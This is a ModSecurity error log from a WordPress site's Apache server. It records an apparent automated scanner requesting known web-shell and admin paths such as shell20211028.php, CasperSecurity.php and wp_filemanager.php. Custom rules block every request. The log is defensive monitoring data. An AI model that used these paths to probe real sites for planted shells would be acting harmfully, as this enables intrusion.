[Thu Feb 26 21:01:20.274083 2026] [:error] [pid 25311:tid 25333] [client 20.220.189.106:8532] [client 20.220.189.106] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/bkncxqju.php"] [unique_id "aaBEINfdM__yZAgJFSvbsQAAAZM"]
[Thu Feb 26 21:01:22.302638 2026] [:error] [pid 20419:tid 20441] [client 20.220.189.106:8536] [client 20.220.189.106] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/db/phpmyadmin3/index.php"] [unique_id "aaBEIu3DVDvMfTYYUBVR6gAAAdM"]
[Thu Feb 26 21:01:23.525710 2026] [:error] [pid 20419:tid 20436] [client 20.220.189.106:8570] [client 20.220.189.106] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/db/phpmyadmin3/index.php"] [unique_id "aaBEI-3DVDvMfTYYUBVR7AAAAc4"]
[Thu Feb 26 21:01:25.123619 2026] [:error] [pid 3883:tid 3907] [client 20.220.189.106:8917] [client 20.220.189.106] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/db/phpmyadmin3/index.php"] [unique_id "aaBEJeA33x90V6yYHajeXgAAAVU"]
[Thu Feb 26 21:01:27.219287 2026] [:error] [pid 3883:tid 3901] [client 20.220.189.106:8429] [client 20.220.189.106] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/db/phpmyadmin3/index.php"] [unique_id "aaBEJ-A33x90V6yYHajeawAAAU8"]
[Thu Feb 26 21:01:29.036105 2026] [:error] [pid 54991:tid 55028] [client 20.220.189.106:8560] [client 20.220.189.106] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/assets/contao/js/unix.php"] [unique_id "aaBEKd4Zx-mJ8gbRB2jjtQAAAEg"]
[Thu Feb 26 21:01:30.440278 2026] [:error] [pid 3883:tid 3892] [client 20.220.189.106:8389] [client 20.220.189.106] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/assets/contao/js/unix.php"] [unique_id "aaBEKuA33x90V6yYHajecQAAAUY"]
[Thu Feb 26 21:01:32.272744 2026] [:error] [pid 54990:tid 54994] [client 20.220.189.106:8542] [client 20.220.189.106] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/assets/contao/js/unix.php"] [unique_id "aaBELHtr2qmt_mBhH2wmoQAAAAE"]
[Thu Feb 26 21:01:33.946058 2026] [:error] [pid 3883:tid 3901] [client 20.220.189.106:8415] [client 20.220.189.106] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/assets/contao/js/unix.php"] [unique_id "aaBELeA33x90V6yYHajedwAAAU8"]
[Thu Feb 26 21:01:35.436503 2026] [:error] [pid 44444:tid 44464] [client 20.220.189.106:8530] [client 20.220.189.106] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/fw.php/text.php/images.php"] [unique_id "aaBEL22sMNmj-yekUk0VLwAAAg4"]
[Thu Feb 26 21:01:36.394496 2026] [:error] [pid 54991:tid 55027] [client 20.220.189.106:8547] [client 20.220.189.106] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/fw.php/text.php/images.php"] [unique_id "aaBEMN4Zx-mJ8gbRB2jjuAAAAEc"]
[Thu Feb 26 21:01:38.057193 2026] [:error] [pid 55051:tid 55068] [client 20.220.189.106:8905] [client 20.220.189.106] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/fw.php/text.php/images.php"] [unique_id "aaBEMgmK1w2kZvh5eLGl6QAAAI4"]
[Thu Feb 26 21:01:38.782055 2026] [:error] [pid 44444:tid 44468] [client 20.220.189.106:8558] [client 20.220.189.106] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/fw.php/text.php/images.php"] [unique_id "aaBEMm2sMNmj-yekUk0VNwAAAhI"]
[Thu Feb 26 21:01:40.322818 2026] [:error] [pid 55051:tid 55056] [client 20.220.189.106:8561] [client 20.220.189.106] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/wp-content/uploads/shell20211028.php"] [unique_id "aaBENAmK1w2kZvh5eLGl9AAAAII"]
[Thu Feb 26 21:01:41.188501 2026] [:error] [pid 44444:tid 44472] [client 20.220.189.106:8834] [client 20.220.189.106] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/wp-content/uploads/shell20211028.php"] [unique_id "aaBENW2sMNmj-yekUk0VPAAAAhY"]
[Thu Feb 26 21:01:42.163678 2026] [:error] [pid 55122:tid 55141] [client 20.220.189.106:8388] [client 20.220.189.106] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/wp-content/uploads/shell20211028.php"] [unique_id "aaBENoLiR0OfjFxvcN8tXwAAANE"]
[Thu Feb 26 21:01:43.461052 2026] [:error] [pid 44444:tid 44455] [client 20.220.189.106:8428] [client 20.220.189.106] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/wp-content/uploads/shell20211028.php"] [unique_id "aaBEN22sMNmj-yekUk0VQQAAAgU"]
[Thu Feb 26 21:01:45.402555 2026] [:error] [pid 3883:tid 3892] [client 20.220.189.106:8521] [client 20.220.189.106] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/portal/kcwepiaw.php"] [unique_id "aaBEOeA33x90V6yYHajeggAAAUY"]
[Thu Feb 26 21:01:47.261991 2026] [:error] [pid 3883:tid 3899] [client 20.220.189.106:8409] [client 20.220.189.106] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/portal/kcwepiaw.php"] [unique_id "aaBEO-A33x90V6yYHajekwAAAU0"]
[Thu Feb 26 21:01:49.608350 2026] [:error] [pid 44444:tid 44454] [client 20.220.189.106:8442] [client 20.220.189.106] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/portal/kcwepiaw.php"] [unique_id "aaBEPW2sMNmj-yekUk0VSgAAAgQ"]
[Thu Feb 26 21:01:50.353723 2026] [:error] [pid 55122:tid 55145] [client 20.220.189.106:8949] [client 20.220.189.106] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/portal/kcwepiaw.php"] [unique_id "aaBEPoLiR0OfjFxvcN8tYgAAANU"]
[Thu Feb 26 21:01:51.516652 2026] [:error] [pid 44444:tid 44457] [client 20.220.189.106:8912] [client 20.220.189.106] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/site/admin.php"] [unique_id "aaBEP22sMNmj-yekUk0VUAAAAgc"]
[Thu Feb 26 21:01:52.905837 2026] [:error] [pid 44444:tid 44473] [client 20.220.189.106:8402] [client 20.220.189.106] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/site/admin.php"] [unique_id "aaBEQG2sMNmj-yekUk0VWAAAAhc"]
[Thu Feb 26 21:01:54.860297 2026] [:error] [pid 25311:tid 25331] [client 20.220.189.106:8524] [client 20.220.189.106] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/site/admin.php"] [unique_id "aaBEQtfdM__yZAgJFSvb2QAAAZE"]
[Thu Feb 26 21:01:56.899843 2026] [:error] [pid 25311:tid 25317] [client 20.220.189.106:8413] [client 20.220.189.106] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/site/admin.php"] [unique_id "aaBERNfdM__yZAgJFSvb3QAAAYM"]
[Thu Feb 26 21:01:58.092991 2026] [:error] [pid 44444:tid 44452] [client 20.220.189.106:8548] [client 20.220.189.106] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/wp-content/20211028.php"] [unique_id "aaBERm2sMNmj-yekUk0VbQAAAgI"]
[Thu Feb 26 21:02:24.808922 2026] [:error] [pid 54990:tid 55012] [client 20.220.189.106:8860] [client 20.220.189.106] ModSecurity: Access denied with code 403 (phase 1). Pattern match "^/wp-includes/.*\\\\.php$" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "15"] [id "771001"] [msg "Blocked direct PHP under wp-includes"] [tag "wordpress"] [tag "hardening"] [hostname "vetstars.com.au"] [uri "/wp-includes/CasperSecurity.php"] [unique_id "aaBEYHtr2qmt_mBhH2wmvAAAABM"]
[Thu Feb 26 21:02:25.029803 2026] [:error] [pid 44444:tid 44461] [client 20.104.19.195:27612] [client 20.104.19.195] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/wp-content/plugins/hellopress/wp_filemanager.php"] [unique_id "aaBEYW2sMNmj-yekUk0VpQAAAgs"]
[Thu Feb 26 21:02:26.032632 2026] [:error] [pid 44444:tid 44458] [client 20.104.19.195:27523] [client 20.104.19.195] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/wp-content/plugins/hellopress/wp_filemanager.php"] [unique_id "aaBEYm2sMNmj-yekUk0VswAAAgg"]
[Thu Feb 26 21:02:26.675712 2026] [:error] [pid 25311:tid 25325] [client 20.104.19.195:27548] [client 20.104.19.195] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/wp-content/plugins/hellopress/wp_filemanager.php"] [unique_id "aaBEYtfdM__yZAgJFSvcEgAAAYs"]
[Thu Feb 26 21:02:27.291519 2026] [:error] [pid 44444:tid 44474] [client 20.104.19.195:27626] [client 20.104.19.195] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/wp-content/plugins/hellopress/wp_filemanager.php"] [unique_id "aaBEY22sMNmj-yekUk0VwgAAAhg"]
[Thu Feb 26 21:02:51.825264 2026] [:error] [pid 44444:tid 44472] [client 20.220.189.106:8938] [client 20.220.189.106] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/plugins/3rdPartyServers/ox3rdPartyServers/luuf.php"] [unique_id "aaBEe22sMNmj-yekUk0V_AAAAhY"]
[Thu Feb 26 21:02:52.781760 2026] [:error] [pid 44444:tid 44469] [client 20.220.189.106:8553] [client 20.220.189.106] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/plugins/3rdPartyServers/ox3rdPartyServers/luuf.php"] [unique_id "aaBEfG2sMNmj-yekUk0V_gAAAhM"]
[Thu Feb 26 21:02:55.096532 2026] [:error] [pid 3883:tid 3891] [client 20.220.189.106:8897] [client 20.220.189.106] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/plugins/3rdPartyServers/ox3rdPartyServers/luuf.php"] [unique_id "aaBEf-A33x90V6yYHajfYgAAAUU"]
[Thu Feb 26 21:02:57.254101 2026] [:error] [pid 55122:tid 55144] [client 20.220.189.106:8533] [client 20.220.189.106] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/plugins/3rdPartyServers/ox3rdPartyServers/luuf.php"] [unique_id "aaBEgYLiR0OfjFxvcN8toQAAANQ"]
[Thu Feb 26 21:02:58.065870 2026] [:error] [pid 44444:tid 44456] [client 20.220.189.106:8898] [client 20.220.189.106] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/wp-content/plugins/three-column-screen-layout/db.php"] [unique_id "aaBEgm2sMNmj-yekUk0WCQAAAgY"]
[Thu Feb 26 21:02:59.099235 2026] [:error] [pid 55122:tid 55148] [client 20.220.189.106:8424] [client 20.220.189.106] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/wp-content/plugins/three-column-screen-layout/db.php"] [unique_id "aaBEg4LiR0OfjFxvcN8tpgAAANg"]
[Thu Feb 26 21:02:59.982692 2026] [:error] [pid 55051:tid 55071] [client 20.220.189.106:8515] [client 20.220.189.106] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/wp-content/plugins/three-column-screen-layout/db.php"] [unique_id "aaBEgwmK1w2kZvh5eLGmgAAAAJE"]
[Thu Feb 26 21:03:00.873381 2026] [:error] [pid 44444:tid 44465] [client 20.220.189.106:8557] [client 20.220.189.106] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/wp-content/plugins/three-column-screen-layout/db.php"] [unique_id "aaBEhG2sMNmj-yekUk0WEwAAAg8"]
[Thu Feb 26 21:03:02.294800 2026] [:error] [pid 25311:tid 25317] [client 20.220.189.106:8567] [client 20.220.189.106] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/luf.php"] [unique_id "aaBEhtfdM__yZAgJFSvchAAAAYM"]
[Thu Feb 26 21:03:03.260199 2026] [:error] [pid 20419:tid 20442] [client 20.220.189.106:8913] [client 20.220.189.106] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/luf.php"] [unique_id "aaBEh-3DVDvMfTYYUBVSRgAAAdQ"]
[Thu Feb 26 21:03:04.274713 2026] [:error] [pid 55618:tid 55634] [client 20.220.189.106:8386] [client 20.220.189.106] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/luf.php"] [unique_id "aaBEiB61Vrh12f_8oWQJJQAAAQ0"]
[Thu Feb 26 21:03:06.487751 2026] [:error] [pid 25311:tid 25315] [client 20.220.189.106:8953] [client 20.220.189.106] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/luf.php"] [unique_id "aaBEitfdM__yZAgJFSvcmQAAAYE"]
[Thu Feb 26 21:03:08.027215 2026] [:error] [pid 44444:tid 44463] [client 20.220.189.106:8956] [client 20.220.189.106] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/hvoxejcn.php"] [unique_id "aaBEjG2sMNmj-yekUk0WFgAAAg0"]
[Thu Feb 26 21:03:09.362647 2026] [:error] [pid 44444:tid 44472] [client 20.220.189.106:8562] [client 20.220.189.106] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/hvoxejcn.php"] [unique_id "aaBEjW2sMNmj-yekUk0WHwAAAhY"]
[Thu Feb 26 21:03:10.464443 2026] [:error] [pid 54990:tid 55009] [client 20.220.189.106:8437] [client 20.220.189.106] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/hvoxejcn.php"] [unique_id "aaBEjntr2qmt_mBhH2wm6wAAABA"]
[Thu Feb 26 21:03:11.494674 2026] [:error] [pid 44444:tid 44451] [client 20.220.189.106:8444] [client 20.220.189.106] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/hvoxejcn.php"] [unique_id "aaBEj22sMNmj-yekUk0WKQAAAgE"]
[Thu Feb 26 21:03:13.450897 2026] [:error] [pid 55051:tid 55068] [client 20.220.189.106:8412] [client 20.220.189.106] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/wp-content/themes/hello-elementor/"] [unique_id "aaBEkQmK1w2kZvh5eLGmkgAAAI4"]
[Thu Feb 26 21:03:14.524599 2026] [:error] [pid 54991:tid 55043] [client 20.220.189.106:8436] [client 20.220.189.106] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/wp-content/themes/hello-elementor/"] [unique_id "aaBEkt4Zx-mJ8gbRB2jj7gAAAFc"]
[Thu Feb 26 21:03:16.016285 2026] [:error] [pid 55051:tid 55063] [client 20.220.189.106:8400] [client 20.220.189.106] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/wp-content/themes/hello-elementor/"] [unique_id "aaBElAmK1w2kZvh5eLGmoQAAAIk"]
[Thu Feb 26 21:03:17.424512 2026] [:error] [pid 44444:tid 44462] [client 20.220.189.106:8566] [client 20.220.189.106] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/wp-content/themes/hello-elementor/"] [unique_id "aaBElW2sMNmj-yekUk0WPQAAAgw"]
[Thu Feb 26 21:03:19.202453 2026] [:error] [pid 3883:tid 3908] [client 20.220.189.106:8923] [client 20.220.189.106] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/plugins/TOPXOH/wDR.php"] [unique_id "aaBEl-A33x90V6yYHajfgwAAAVY"]
[Thu Feb 26 21:03:20.280198 2026] [:error] [pid 54990:tid 55006] [client 20.220.189.106:8519] [client 20.220.189.106] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/plugins/TOPXOH/wDR.php"] [unique_id "aaBEmHtr2qmt_mBhH2wm9AAAAA0"]
[Thu Feb 26 21:03:21.289257 2026] [:error] [pid 55051:tid 55059] [client 20.220.189.106:8918] [client 20.220.189.106] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/plugins/TOPXOH/wDR.php"] [unique_id "aaBEmQmK1w2kZvh5eLGmqQAAAIU"]
